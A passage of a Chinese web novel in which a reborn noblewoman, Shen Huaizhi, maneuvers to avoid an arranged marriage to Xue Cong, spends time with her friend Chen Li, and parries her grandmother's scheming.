永嘉侯太夫人,虽有诚意,但不多,至于薛家那位世子,清冷态度一如既往,单纯只论心情的话,在有了陈家这个备选之后,她结亲的意愿已经没有那么强。 所以,因为心中这两分思量,她难得的矜持了姿态,对薛太夫人远不如从前热络,在推进两家婚事的进展方面,更是兴致缺缺。 她心中衡量着薛琮与陈理这两个人的条件与价值,准备精心挑选出最符合沈家利益的联姻对象,至于孙女喜欢谁不喜欢谁,远没有那么重要。 手中既然有好的筹码,自然要博得最大的利益,这是老夫人多年来为人处世的信念,而她的好孙女沈怀栀,虽说有些小聪明,但任她再抗拒挣扎,终归逃不脱她的摆布。 沈怀栀到荣辉堂时,人刚坐好,老夫人就直接问道,“栀姐儿,今日太夫人同我提及沈薛两家联姻的事,对于嫁进永嘉侯府,你什么想法?” “孙女没什么想法,”沈怀栀神色平静,“一切都听祖母和家里的安排。” 似是对这个答案感到满意,老夫人又追问道,“既然你这么想,那若是我们和薛家谈不拢你同薛世子的婚事,你可是会对家中心怀怨怼?” “不会。”沈怀栀说这话时,无论眼神与神情都格外诚挚恳切,纵然以老夫人的眼力,也没能看出半分说谎迹象。 于是,她确信了,至少这一刻,她这位好孙女又变回了从前听话懂事的好姑娘。 “好,祖母信你。”老夫人欣慰道,末了,开始试探性的提及陈家那位公子,“之前陈家公子送来的那盆兰花,你也养了有一段日子了,现在情况如何,恢复得好不好?” “如今稍微有点了一点起色,”沈怀栀道,“但到底能不能活,恐怕还需要精心养护一段时间后,再观察看看。” “原来如此,”老夫人点点头,“那你继续精心照看着吧,未免陈公子太过担心,偶尔记得把花送回去给人看看。” 沈怀栀看着自家祖母在两个人选中的左右摇摆,心下叹息,她现在最重要的,就是在父亲的信入京之前,稳住祖母,不要太急功近利。 如今越来越临近她上辈子和薛琮定亲的时间,虽说她有些担忧信能不能来得及,但目前为止,想要阻止祖母同意薛家的求亲,并不算难。 她已经打定主意,若是父亲那边来不及,就暂时用老师做借口拖延一二,不过,不到万不得已,她并不想提前暴露这张底牌。 只希望南边的消息快点来吧。 第19章 第19章—— “姑娘,博文书肆的李掌柜说,您想要的书找到了,他还寻到了几本有些偏僻的农书,说是也想请您看看。”冬青一进门便喜气洋洋的道。 原本打算呆在家里整理文稿的沈怀栀一听有好消息,立时让人去了荣辉堂请示祖母,告知自己想要出门的事。 她自重生回来后,就花费了诸多心力整理尚且记得的文稿,虽说很多东西记得大差不差,但到底缺了许多书籍与资料做支撑,因此最近一直在列书单,打算在南下之前尽量补全自己所缺的书籍。 世面上有关农事的书籍本就不多,有许多还是偏僻难寻的孤本,幸好她身处帝京,想要买书总比其他地方要方便一些,但还是有许多书找到现在根本是毫无头绪。 不得不说,也就这时候她会稍微羡慕一下前世的自己,依靠薛琮的权势带来的最直观的一个好处,就是无需她自己费心寻找,就有许多贴心识趣的人积极的投其所好解她烦忧,着实为她省了不少事。 不过她也就在心里这么可惜了一下,等得了祖母的应允后她立时带着冬青去了博文书肆,不止拿到了之前拜托掌柜寻的农书,还有两本极为有价值的孤本,也算是稍稍解了燃眉之急。 就是买这些书籍多少有些费钱。 旁边满脸心疼的冬青是真心实意的替自家姑娘感到肉疼,“姑娘,这些书也太贵了。” “虽然贵些,不过物有所值。”沈怀栀笑道,“你就当你家姑娘多做了些新衣裙买了几套新头面吧。” “这怎么能比呢。”冬青轻声嘀咕了两句,不过确实不在价钱上深究了,反正读书人的事她是不太懂的,但只要自家姑娘高兴就行了,其余的不重要。 至于钱财嘛,大人在外做官,每年往家里送的银子并不少,且父母私下里对孩子总是要贴补一些的,虽然比不上那对养在双亲身边的双胞胎,但到底不算太寒酸,姑娘的日子还算好过。 当然,最重要的是姑娘私下里也有背着人来钱的路子,总归手头还算宽裕。 想起 姑娘的私房钱,冬青顺势开口问道,“姑娘,之前送去清兰居的那两盆花卖了个好价钱,黄掌柜递话说想再多求几盆,价钱好说。” 清兰居作为京城出名的花卉馆,虽说名字里有个兰字,但并非只卖兰花,同样售卖各色精品花卉,沈怀栀让人悄悄拿去卖的就是自己从前精心养育的两株墨菊与异色牡丹,无论是颜色还是品相都堪称珍品,卖了不少钱。 只能说她确实在农事一道上有些天赋和运气,总能种出些别人奢求不来的珍品,从前只把这些当做打发时间的消遣,并不曾想过拿来换钱,也就是偶然一次机会发现春芜院里有仆人私下偷花去卖,把人处理了之后她才生出了想要试试玩的想法。 结果一试之后,从此就多了个来钱的路子,沈怀栀未必缺钱,但清兰居的那位黄掌柜着实是个妙人,不止给钱痛快大方,捧人的本事也是一绝,平日里更是时时问候处处贴心,总之,沈怀栀领受了他不少好处。 为此,她从前也舍出去了几盆稀罕的花草,虽然她自己不怎么看重,但黄掌柜却是极为喜爱,其中一盆更是据说被进奉到某位贵人手里,着实在帮清兰居的东家攀高枝时出了大力气。 这次她南下梧州,许是多年都未必回来,所以春芜院里有些花草确实打算处理给黄掌柜,一方面是为了赚钱供她日后研究农事,毕竟现在的她虽有些钱财,但真正投入到农事研究里,颇有些杯水车薪之感,为了供自己挥霍,总要未雨绸缪,另一方面,则是想借那位黄掌柜的路子为日后行些方便,他们这些做花草生意的,手里总有些不为外人道的特殊路子,她总有用上的机会。 于是,她对冬青道,“过阵子找个时间,我同黄掌柜面谈,等来日我们南下之后,需要用钱的地方不少,正好把那些值钱的花草都给处理了。” “好的,姑娘。”冬青道。 离了博文书肆之后,沈怀栀又辗转跑了几家店铺,淘到了几本想要的书,原本不错的心情在偶遇隔壁四宝斋正在买笔墨纸砚的陈理之后,一时间愈发好了。 “沈姑娘,”陈理出言招呼她,笑容和今天的春日一般明媚爽朗,“好巧,在这里遇到你。” 没想到临时出门会遇到惦记许久的朋友,陈理心情十分不错,虽说在知晓沈薛两家开始谈婚论嫁之后有些微不安,但听说婚事暂未定下,他不自觉的松了口气。 “确实很巧,”沈怀栀笑道,“我出来买书,陈公子呢?” “我来挑些笔墨纸砚,”陈理道,“家中弟妹最近十分好学上进,为了以示鼓励,我决定买些好的笔墨纸砚送他们。” 说着,陈理拿起手边的墨锭给她看,“你看,这是我刚挑好的白圭墨,没记错的话,当初还是七姑娘同我念叨了一些挑墨的技巧,我现在也算活学活用了。” 闻言,沈怀栀愣了一下,时间间隔太久,她早已经记不清都同他说过些什么闲话,但是…… “能帮到你就好。”她真心实意的道。 “七姑娘帮到我的地方可多了,”陈理忍笑,“我下山时师父给的那盆兰花还在七姑娘手里呢,只等着您妙手回春,救兰一命,好让我日后回山上见师父时能有个交代。” 说到这里,他犹豫了一下,试探着开口道,“对了,既然碰巧在这里遇到,我有个冒昧的请求,希望七姑娘能同意。” “路边不是说话的地方,旁边有个茶楼,不如去那里谈吧,”沈怀栀大大方方的道,“我今日也算奔波忙碌了半天,这会儿有些累了,正好歇歇脚。” 两人相携一前一后去往茶楼,很快,二楼靠窗的位置,多了两个相对而坐的年轻男女。 然而,相谈甚欢的两人,怎么都没想到,刚才发生的一切早已被某人纳入眼底。 昨日出城公干忙到今日才回的薛琮,并未想到会在这里偶遇两人,他看着对好友言笑晏晏的沈怀栀,仿佛看到了从前跟在自己身后追着跑的姑娘。 她的笑容与热情从未消失过,只不过是转移到了其他人身上而已。 莫名的,薛琮心中突然生出两分厌恶,他宁愿是其他人,都不愿意是陈理。 即便陈理是他交情甚好的挚友。 他眼神微冷,开始考虑要不要去隔壁见一见这两位故交,给他们一个“惊喜”。 *** “既然你想看兰花,那我让人回去取吧,又不是什么麻烦事。” 在陈理说他最近要陪家人离京去道观住几天后,沈怀栀就明白了他的意思。 “多谢七姑娘慷慨解囊,”陈理笑眯眯道,“不愧是我的好朋友,总是愿意帮我解燃眉之急。” “谁让我们是朋友呢。”她轻描淡写的道。 沈怀栀早已习惯陈理面对她时人前人后两幅面孔,用对方的话来说,就是在外面总要顾忌着男女大防和她的名声,所以处处遵规矩守礼仪,等到了熟人相处时,又是另一幅亲近面孔,无论说话行事都不再拘束自己。 有时候她忍不住会想,或许就是因为陈理对她太不设防了,所以才会日渐越界,这其中未必没有距离过近导致感情混淆的缘故。 毕竟,他身边亲近的年龄相近的姑娘确实太少了。 她一边胡思乱想,一边听陈理抱怨一些琐事,偶尔还会冒出两句“早知道回京这么麻烦,还不如一直待在山上”的感叹。 “回山上也好,待在京城也好,总归让自己高兴是最重要的,”沈怀栀淡淡道,“你们道家不是总说道法自然吗,你又不像我们姑娘家这么多规矩束缚,就算突然说要仗剑天涯,估计家里也不会拦着。” 这本该是极具安抚意味的一句话,但陈理听在耳里,却莫名挺直了脊背,仿佛在家里被祖母揪着耳朵耳提面命的教育一般,不由自主绷紧了心神。 “我们七姑娘,有时说话就跟我祖母一样有气势,”陈理讪讪道,“有点吓人。” 闻言,沈怀栀眼皮跳了一下,却仍不咸不淡的道,“不是我吓人,纯粹是你自己心虚。” 在一个不那么自由恣意的人面前随意抱怨自己所谓的拘束,没怼人,是她脾气好。 反应过来后,陈理确实有些心虚,因此忙不迭的转移话题道,“抱歉,是我口无遮拦了。” “这两日我去酒坊视察,发现他们新出了一款果酒,据说很受姑娘们喜爱,等回去我就送两坛给我们七姑娘赔罪。” “酒坊?”沈怀栀有些疑惑,“是陈家的酒坊吗?” “不是,”陈理摇头道,“是我母亲的嫁妆,当年外祖父陪嫁给了母亲,母亲前几年又分给了家中的兄弟姐妹,也算是给我们准备的聘礼与嫁妆吧。” 听到酒坊是聘礼,沈怀栀心中突然生出微妙预感,她上辈子手里也有一个酒坊,因为酿出的酒极合口味,所以后来被她买到了手里。 若是其他人,她还不会自作多情生出这种想法,但偏偏是陈理,由不得她不多想。 于是,她追问道,“你的酒坊在哪儿?” “在合庆坊那边,”陈理似有些苦恼的道,“我母亲最近总是催我去那边看看,要知道我外祖家那边有一个规矩,无论是娶亲还是嫁人,家里人都要在自己的酒坊里为未来妻子或丈夫亲自酿制一坛酒,以此来预祝姻缘和合美满长长久久。” 说起这个传承,陈理颇有些兴高采烈,他还兴致盎然的为沈怀栀讲了一些家族中因此发生的趣事。 而沈怀栀,面上虽看似还在认真听,实则心中早已满是哀恸。 从听到“合庆坊”这三个字起,她就知道自己猜对了,本以为自己想得已经够多,等听完陈理说那个传承,木愣愣脑袋里,只剩 下两个字—— 逐月。 据说这是那个酒坊为讨新东家欢心而专门酿制的美酒,也是沈怀栀喜欢了许多年的一种酒。 现在,它真正的主人,正坐在她面前。 第20章 第20章“所以,你不想嫁。”…… “七姑娘,七姑娘?”陈理抬手在沈怀栀面前挥了挥,有些疑惑的道,“怎么了,表情突然变得这么奇怪?” 像是高兴又像是伤心,总之陈理想了一圈儿,也没发觉自己到底说了什么不合适的话刺激到眼前的好友。 沈怀栀收敛心神,压下心中隐痛,努力露出微笑,“只是听你提到酒,想起了一位故人罢了。” “原来如此。”陈理一副恍然大悟的模样。 “那你和这位故人的关系想必极好,”他思考了一番斟酌着道,“因为你刚才想起他的表情,怎么说呢,看起来好像很满足又很幸福。” 从对方口中说出的“满足”与“幸福”两个词让沈怀栀怔然,应该是那种感觉没错,虽然她心中是哀恸的,但那份隐藏了多年的隐晦示爱如今迟来的被她察觉,还是以陈理亲口告知的方式,如何不令这份爱更让人动容呢。 至少她,再一次被击中心扉了。 “我是很喜欢他,”她看着陈理,一字一顿对他道,“说是此生挚爱都不为过。” 莫名的,陈理竟然听得有些脸红,明明七姑娘的态度如此坦然从容,显见是在说一位同性长辈,他在这里脸红个什么劲儿。 一时间,他不免唾弃起自己的胡思乱想,连带着整个人都有些不自在,在那里如坐针毡一般。 沈怀栀将陈理的坐立不安看在眼里,突然轻笑出声,慢悠悠的道,“开玩笑的而已,没想到你真信了。” “什么?开玩笑?”陈理仿佛不敢置信似的,整张脸都皱了起来,间或又莫名的有些替自己委屈,“这种事怎么好拿来开玩笑,而且你又不是不知道,我一向很相信你说的话……” “那就感谢陈公子宝贵的信任了,”沈怀栀眉梢一挑,微微笑道,“不过,我一向却是不怎么相信你的。” 说到这茬,陈理心虚的摸摸鼻子不说话了,好吧,确实是他自己的锅。 那时候他刚回京城不久,也就和薛琮这个朋友关系最好走得近,沈怀栀追薛琮追得勤快,以致于经常和朋友在一起的他也多了个相熟的异性友人。 陈理自小在道观长大,性子自由不爱受拘束,骨子里也没什么守规矩的想法,因此和性格不错心无他念的沈怀栀相处得极好,时日久了,爱玩爱闹的他在调节气氛做和事佬之余,总会说些玩笑话逗她。 沈怀栀也就起初信了两次,在意识到他什么性子之后,再未轻易上当受骗,以致于他很是遗憾自己失去了一大乐趣。 “我们陈公子看起来似乎有些理亏,”沈怀栀神情揶揄,“莫不是想到自己从前随意信口开河的时候了?” “也不算信口开河吧,”陈理心虚且难为情的为自己辩解,“最多、最多就是措辞不太严谨……” “不太严谨啊,”沈怀栀眼神微妙的看了他许久,“行吧,陈公子说了算。” 对方那副你脸皮厚你说了算的态度让陈理大为汗颜,要知道,平日里他也称得上是口舌伶俐,但不知为何,在面对沈怀栀时,总是很容易被她堵得哑口无言。 过后,他认真想了想,大约是对方认真起来时太像家中颇有威严的祖母了,以致于他不由自主的就心生退缩,从而夹起尾巴做人。 他有些哀怨的看了她一眼,心想,谁家在外交个朋友是像长辈啊,偏偏他还挺喜欢和她相处,总觉得轻松自在不拘束。 沈怀栀咽下口中糕点,面无表情的斜了一眼眼前的陈理,“你的眼神告诉我,最好不要知道你现在脑袋里在想什么东西。” “咳咳……”仿佛被戳中软肋似的,陈理惊得咳了起来,呼吸顺畅之后,他立即出言为自己辩解,“我哪儿有想什么奇怪的东西,也就是觉得你像家中长辈而已……” 话到最后,越说越小声,直至最后闭口不言。 沈怀栀倒也没有被陈理这个形容冒犯到,虽然她确实有几分被气笑,但她人就是这么个人,你不能指望一个人至中年重回过去的女人身上没有半点时光与经历留下的痕迹。 于是,她神情坦然的点点头,“很好,我们陈公子这真心话说的,我就当你是为了表达对我的尊敬了。” “也不用这么认真郑重吧,”陈理自己也忍不住笑了,“虽然我确实很尊敬我们七姑娘没错。” “那以茶代酒,敬我们这段充满尊敬之情的友谊吧。”沈怀栀端了杯茶抬手示意,“希望以后陈公子能一直这么尊敬我才好。” 陈理认真确认过,沈怀栀这话说得尤其真心实意,不含半分阴阳怪气,好像她确实希望他能多尊敬她一些。 有些奇怪的想法,他想,但又莫名觉得很适合她很可爱。 他笑着喝下这杯友谊之茶,良好氛围里,回去沈府取兰花的人也终于回来了。 “你仔细看花吧,”沈怀栀顺势起身道,“我正好去外面透透气,顺便为家里人挑些他们喜好的茶点带回去。” “七姑娘随意。”陈理下意识起身将人送到门口,等和捧着兰花的侍从对上视线,才意识到自己仿佛有些过于殷勤,他无奈一笑,接过兰花去旁边仔细观察了。 和之前病蔫蔫就剩一口气的模样比起来,现在摆在他面前的这盆兰花已经精神许多,叶片舒展招摇的模样仿佛得了充足阳光雨露滋润的活泼美人,毫不吝啬的肆意展露着自己的张扬与美丽。 我们七姑娘真会养花啊,陈理手指拨了拨翠灵灵的叶片,笑容中含着几分沉醉,真希望以后一直这样下去才好。 这厢,陈理专注兰花,那边,沈怀栀却在散心的途中遇到了意想不到的人。 不对,也不能说意想不到,只是今天不是休沐日,在这里看到不和陈理一起同行的薛琮,有些令人意外而已。 现在的沈怀栀格外的懂礼数,尤其上次薛琮危机之中还帮了她一把,因此率先开口打了招呼,“薛世子,好巧,在这里遇到。” “不算巧,”薛琮神情冷淡的实话实说,“刚才我在楼上,看见了沈姑娘和怀逸。” “怀逸”这个称呼让沈怀栀一愣,她已经好久没有听到陈怀逸这个名字,以致于突然之间她竟无法将陈怀逸这个人同里面的陈理联系起来,即便他们本就是同一个人。 薛琮将眼前人的突然沉默看在眼里,他仿佛才意识到,她与陈理之间似乎有些特别的缘分。 他们两个人自相识起,就十分相处得来,就如刚才,一口一个“我们七姑娘”的陈理,还有偶尔会说出“我们陈公子”的沈怀栀,他们确实比一般的朋友更为亲近。 如果他们是同性友人也就罢了,但偏偏,一个是年轻俊才,一个是出色贵女,且双方都正值婚嫁之龄,若是让不知情的人来看,只怕想歪的人绝不会少。 但从前到现在,这么长一段时间内,薛琮纵然将两人的相处看在眼里,听在耳里,也从未生出过任何无端臆测。 可惜,这份信任仅止于刚刚。 他的耳力实在太好,两个相邻的包厢,因着窗户大敞的缘故,他将所发生的一切听了个清清楚楚。 沈怀栀,陈怀逸,喜欢,挚爱,信任,尊敬,友谊…… 这其中的字字句句,仿佛都砸在他脑海,掀起一场滔天巨浪。 两个看起来再坦然不过的人,光明正大的闲谈相处,毫无半分心虚,却偏偏听得他眉心直跳。 茶楼连廊里,两个相遇的人一个赛一个的沉默,好似都沉浸在各自的思绪中,不可自拔。 最后,是薛琮率先打破了这份寂静,他问面无表情的沈怀栀,“薛沈两家联姻的事,你怎么想。” 沈怀栀抬头看他一眼,语调平静,实事求是道,“不错的选择,皆大欢喜。” “那你欢喜吗?”薛琮用专注而锐利的眼神观察着眼前的 人,缓缓追问道。 “两家联姻是好事,”沈怀栀不紧不慢的道,“但沈家正值花期的待嫁姑娘并非只有我一个,更不必非我不可。” 言下之意,她对嫁进薛家这桩婚事没兴趣,即便这是她从前一直努力想要达成的愿望。 “所以,你不想嫁。”薛琮言简意赅的总结道。 这没什么好否认的,沈怀栀应得干脆,“对,我不想嫁。” “为什么不想嫁,你从前一直很想要这桩婚事,”薛琮神态冷静的反问道,“现在达成所愿不好吗?” “你也说了是从前了,”沈怀栀颇有耐心的回道,甚至面上还有两分从容笑意,“过去的事情,现在自然做不得准,就像我昨日想吃粥,今日想吃面,后天想吃鱼,人的心思和喜好总是时常在变的,你总不能要求一个年纪尚轻心思还不定性的姑娘一下子就矢志不渝了。” “就像你那份所谓的喜欢和坚持突然消失一样吗?”薛琮神情有些嘲讽的道,“所以,你现在对我已经没兴趣了。” 沈怀栀平淡的笑笑,没有否认。 她这份泰然自若,看在薛琮眼里却刺眼极了,于是,他忍不住出言讽刺了她,“沈姑娘颇有几分随机应变的灵巧。” “世子过奖,”沈怀栀欣然笑纳这份夸奖,“我不过是事到临头幡然醒悟罢了,这还要感谢世子从前对我的不假辞色与铁石心肠。” 这话她说得当真格外真心实意,事实上,沈怀栀确实对年轻的薛琮充满了感激,如果不是他这么冷酷坚定,一直不曾同意婚事,她若再晚回来几天,只怕两家婚事早已定下,到那时,想要解除婚约,只怕是比登天还难。 只随便想一下,这其中会遭遇到的来自沈家薛家乃至外人的重重阻力,她就感到头疼,到那时,即便她再才华出众能成为父亲晋升的登天梯,对方也不会任由她随意行事,而她的下场,只有被榨干血肉利用殆尽。 所以,由不得她不感激薛琮给她留的这一线生机。 显然,沈怀栀的真心感激在薛琮看来,着实是有些刺人的,以致于他没压住心底那点儿阴暗的想法,口不择言道,“所以你现在改和怀逸走得近了?” 这话一出,薛琮发现,沈怀栀像是被触到逆鳞一样,整个人立时紧绷起来,看着他的眼神是戒备的警惕的,甚至是充满了敌意的。 这一刻,薛琮再清晰不过的意识到一个事实—— 她在乎他。 沈怀栀在乎陈理。 20-30 第21章 第21章—— 沈怀栀极其在意陈理。 薛琮从对方的反应里得出这个结论之后,甚至觉得有几分荒诞与可笑。 一个是他的好友,一个是他曾经的爱慕者,两个人竟然在他没注意到的时候,有了暗度陈仓的迹象。 他有种被亲近的人背叛的愤怒感与羞耻感。 然而,沈怀栀那副丝毫不觉得自己的行为有任何不妥的做派,让他将这份愤怒压在了心底,事实上,他应当是没有任何立场和身份来生气的。 情绪如果能被理智完美控制的话,这世上就不会有那么多痴男怨女,虽然薛琮从不认为自己对沈怀栀有意,但他确实生出了属于自己的东西被人夺走的不快。 仿佛有一条名为嫉妒的蛇在他心底钻来钻去,无论你如何压制它都不肯消失,非要趁你不注意时在不知名的地方狠狠咬上一口,以此来彰显自己的不甘与存在感。 薛琮心底现在就有这样一条毒蛇,它被他的愤怒滋养着,逐渐盘踞在他的心口,嚣张的吐着蛇信。 倏忽间,薛琮眼前闪过梦里沈怀栀的模样,她看陈理时如同看海棠树一般柔软,对着他却要竖起全身尖刺,仿佛大敌当前。 像是顷刻间荒诞梦境延续到现实,薛琮甚至生出了一种荒谬的感觉。 “你什么意思?”这一次的两人对峙里,最先沉不住气的竟然是沈怀栀,她盯着眼前人,压着语气又重复了一遍,“世子到底想表达些什么?” “我不想表达什么,”薛琮冷冷道,“我只不过是如实复述了一个事实,如果沈姑娘问心无愧,大可不必如此过激。” 原本不过是情绪主导之下随口而出的一句试探,没想到当真探出了几分猫腻,这是连薛琮本人也未曾预料到的。 说起来他和沈怀栀之间什么关系也不是,远远轮不到他来干涉她的选择与人生,既然她不想嫁,那他也无意勉强,只是她不该转换心意之后就将目标放在好友身上。 “到底是我过激,还是世子意有所指?”沈怀栀决不会因为自己心仪陈理而生出半分愧疚与心虚,尤其是在现在这个年轻的薛琮面前,所以她反而开始责问起对方来,“我和陈公子是好友,什么时候见面怎么相处那是我们之间的事,远轮不到世子关心,就算世子要关心陈公子,也大可不必在我面前表现。” “只要你不打怀逸的主意,我就不会干涉,”薛琮漠然道,“我也没有多余的闲情逸致来关心沈姑娘的感情生活。” “那世子尽可以放心了,”沈怀栀冷笑一声道,“我,沈怀栀,永永远远不会打陈理的主意,我们之间决不会有任何事关姻缘的瓜葛。” 除非属于她的陈怀逸活过来。 那才是她决不放手的人。 说完这句话她就要甩袖离开,却被薛琮拦下,他拧着眉看她,似乎没想到她竟然把话说得如此决绝。 “我不是这个意思。”少见的,薛琮脸上多了几分迟疑。 “不管是什么意思,都已经不重要了,”沈怀栀满脸冷漠,“世子得到了想要的答案,现在是否能允许我离开?” 薛琮知道自己该应允,但他偏偏依旧挡着路,他承认,有那么一刻,在听到沈怀栀的话后心中有卑劣的窃喜,但窃喜过后,反而是更深的怀疑。 因为,沈怀栀太坚定了,斩钉截铁的仿佛发誓,要知道,人只有在面对自己极其在意的人和事时,才会有这种下意识的反应,所以,他开始痛恨起自己的敏锐来。 不该好奇她到底在想些什么的,薛琮对自己说,可却着魔一般非要追根究底,好似只有得到答案才能彻底让他从沈怀栀这个情绪漩涡中解脱。 “如果你是认真的,怀逸同样愿意接纳你,你们尽可以在一起,”在意识到自己到底说了什么的时候,薛琮短暂的停顿了一瞬,末了继续神色平静的道,“我只是不希望你我的事情在我重要的好友身上的重演。” 真说起来,这其实是很宽容很贴心的一番话,奈何沈怀栀半分不买账。 “听起来真是好心,”她有些嘲讽的道,“只可惜言不由衷。” “并非言不由衷,”薛琮下意识反驳道,“我确实是这么想的。” 沈怀栀看着神情格外严肃端正的薛琮,突然笑了,这笑中有他看不明白的复杂之意。 “薛琮,其实我比你想象中更了解你,”沈怀栀突然说,“所以,你大可不必在我面前粉饰太平。” 作为薛琮曾经的枕边人,陪着他度过两次夺位之争最后一路成为权倾朝野的摄政王,沈怀栀相当清楚这个男人骨子里的本性。 就像现在,尚且年轻的薛世子在外同样有流传着的隐秘凶名,圣人对其如此看重宠爱,远不是凭借着那些所谓情分能做到的。 晚年的圣人有多么昏聩多疑苛刻,亲身经历过那些年的沈怀栀再清楚不过。 所以,一手被圣人培养,身上烙印了长辈鲜明痕迹的薛琮,你从来不能奢望他是个什么正人君子。 鉴于此,沈怀栀并不想戳破他这份体面,但偏偏,对方非要触及她最重要的软肋,由不得她不动手。 “你了解我?”薛琮被沈怀栀那副仿佛什么都知晓的模样气笑了,“真难得,连我自己都不清楚自己到底是什么样的人,沈姑娘 你倒是看得很清楚。” “是啊,我看得很清楚,”沈怀栀神色平静的道,“正因为看清楚了,所以及时醒悟悬崖勒马。” “悬崖勒马,”薛琮一字一句重复道,“真是个好词,看来对沈姑娘而言,嫁我是自讨苦吃。” “是这样没错,”沈怀栀甚至格外坦然的承认了,“我和世子所求不同,若是强行凑到一起,也不过是两败俱伤,所以,我既为自己庆幸,也为世子庆幸,不必成为彼此的麻烦。” “麻烦,”薛琮冷笑出声,“如沈姑娘所说,确实是极大的麻烦,毕竟不是谁都能做到像沈姑娘一样盲目沉溺情爱的。” 然而,这极具讽刺意味的一句话却未让沈怀栀有分毫变色,她坦然且理直气壮道,“爱人,希望被爱,有什么错,我从来不觉得这样的自己不好,所以,也轮不到世子来指摘我的为人处事。” “世子有自己追求权势的欲望野心,我自然也有心中所求,道不同不相为谋,何必互相指责苛求。” “感情用事。”薛琮忍不住道,“如果沈姑娘觉得是指责与苛求的话,那就是吧,我无意争辩。” 又来这一套,沈怀栀心烦的想,仿佛只要这样以退为进一番,道理就尽数全在他那边,自己不过是无理取闹。 她突然不想再和薛琮继续谈下去了,这实在是浪费时间和心神的无聊举动。 于是,她毫不犹豫的使出了绝杀。 “世子今日在这里拦下我,又纠缠不休说这么多意有所指的话,很难不让我生出怀疑。”沈怀栀放慢语速缓缓道,用一种充满质疑的语气与眼神看薛琮,“世子对我突然更改心意如此在意,莫非是有什么想法?” 在薛琮脸色变难看后,她继续乘胜追击,“一个男子对一个姑娘移情别恋耿耿于怀,很难不让人生出多余的想法。” “我还以为摆脱我对世子而言应该是一件值得庆祝的喜事,毕竟从前世子一向视我为麻烦,还是说,”沈怀栀语调幽幽道,“世子其实是喜欢我的,只是从前心意不自知罢了。” 话音落下,薛琮仿佛被人当面抡了一耳光似的,立即断然否认,“绝无可能!” 那副被触怒被羞辱的姿态宛如被人当面污蔑清誉的贞洁烈女,就差指天立地发誓证明自己的清白了。 沈怀栀看在眼里,心情立时好了许多,你看,只要将自作多情的帽子扣在男人头上,他们无一例外会恼羞成怒,进而为自证清白恨不得立刻离你远远的。 冬娘说的这个办法太好用了,沈怀栀想,尤其是放在年轻的薛琮身上时。 “既然不是,那很好啊,”沈怀栀用一种浑不在意的语气道,“我不想嫁你不想娶,皆大欢喜的一件事,日后我嫁给谁过什么日子和世子无关,世子娶什么人过什么日子也与我无关,彼此互不相干,再好再合适不过了。” “太夫人那么看重世子,想必日后肯定会为你选一个合心意的妻子,”沈怀栀语重心长的道,“为了日后的家宅安宁,世子最好还是少和我这种曾经有过瓜葛的人接触,至于我和陈公子之间的事,也不劳世子操心,总归我们都会过得极好。” 被当面嘲讽到脸上的薛琮,最后只能眼睁睁看着沈怀栀趾高气昂的离开,那副仿佛打了胜仗的姿态,一下子把他气笑了。 沈怀栀的牙尖嘴利和狡诈无情,他再一次领教了,当然,也格外消受不起。 这样的她日后也不知会成为谁的妻子,当这个想法出现在脑海中时,薛琮面上的笑意渐渐淡去,最终变成了面无表情。 或许,他是时候重新认真考虑一下新的成亲人选了。 第22章 第22章—— 沈怀栀回来时,陈理看模样像是已经等了她好一会儿,她低声道了句抱歉,对方面上反倒尽是理解。 “我见七姑娘那么久还不回来,就出去看了下,”他有些无奈的道,“看到你和玄章正在说话,我就知道不合适过去打扰。” 至于看了多久两人又说了什么,他却是一概不曾追问,只是关心的道,“我听说沈薛两家有意婚事,七姑娘若是有需要我帮忙出力的地方,尽管开口。” “那倒不必,”沈怀栀轻描淡写的道,“此前家中长辈是有些意向,但仔细想想,我们两家并不合适,我与薛世子也并非彼此的良缘,婚事想必是不会成的。” 虽然用的是“想必”二字,但只看态度,似乎这件事她心中极有把握成不了,看得陈理心中是欢喜担忧各半。 “姑娘家的婚事我不好过多打听,”他道,“无论这件婚事成与不成,你同玄章都是我极为重要的好友,我只盼着你们能事事如意心想事成。” “很好的祝福,”沈怀栀笑道,“既然如此,那陈公子这份心意我就笑纳了,日后必会让自己过得极好。” “这样才好,”陈理眉眼弯弯的道,“七姑娘的日后必会一片坦途。” 两个人聊完,又一起用过午饭,随后沈怀栀才带着在酒楼买的糕点告辞离开。 陈理一路将人送至马车旁,临别前,眼巴巴的瞅着沈怀栀抱在怀里的兰花,依依不舍的模样仿佛她带走的是他心爱的孩子似的,看得人直想笑,至少一直跟在自家姑娘身边的冬青是没忍住。 被笑的人倒是丝毫不介意,陈理盯着沈怀栀,带着一点急切的盼望道,“我最近是没空来看花了,等过阵子从城外回来,七姑娘会允许我上门探望吧?” 之前因为顾忌着沈薛两家议婚的缘故,他一个年轻男子不好频繁随意上门,现在既然婚事不成,那他正常行走就没有妨碍了。 “这是你的花,你想看随时都能来看,”沈怀栀无奈道,“更何况,沈家又不是什么龙潭虎穴,还必须得到许可才能进门,你这么客气,我不止不习惯,还反倒觉得你在故弄玄虚。” “礼多人不怪嘛,”陈理笑道,“至于故弄玄虚,那倒没有,就是有点怕你因为玄章的关系日后和我疏远。” “凡事一码归一码,你和他明明白白两个人,我并没有迁怒的习惯。”沈怀栀如实道,“再者说,充其量不过是婚事未成罢了,远不至于反目成仇相看两厌。” “既然如此,那我明白了。”得到这个回答后,陈理仿佛瞬间安心许多,整个人都多了几分明快爽朗,然后热情送别了沈怀栀主仆。 而主仆两人回府之后,照例是要去老夫人那边走一趟的,毕竟今日在外面见过陈理,以荣辉堂那边如今对她婚事的关注,必不会坐视不理,凡事捏在掌心务必尽善尽美,才是老夫人的行事风格。 果不其然,沈怀栀刚奉上糕点,老夫人的关心就紧随其后,着重关心了她今日与陈理的偶遇与相处。 至于同样遇到薛琮的事,则顺势瞒了下来,毕竟沈怀栀并没有心情来搪塞更多。 老夫人那边听得认真,偶尔还问上两句有关陈理的事,虽不到越界的地步,但这份异常的关心已然在暗示着什么。 都是聪明人,有些话未必需要说得太明白,老夫人显然是想通过这样的举动提点自己的好孙女,而沈怀栀也十分识趣的表示自己明白了这份暗示,极为贴心懂事的接下了这份“好意”。 至此,祖孙两人都得到了自己想要的东西,也算是相谈甚欢。 离开荣辉堂后,沈怀栀面无表情的回了春芜院。 早在当初重生回来后,她第一封寄去给父亲的信里就已经用老师的名义去进行了诱惑与谈判,她知道自己一定会拜师成功,能拿到这份助力,所以毫不犹豫的扯虎皮做大旗,用来同自己那位浸淫官场多年功利心颇重的父亲谈判。 而她需要付出的,则是一份能让他在圣人面前露脸的功劳,至于功劳的大小,则要看到时候她与父亲之间权衡利弊后的交锋结果了。 现在,还是先用 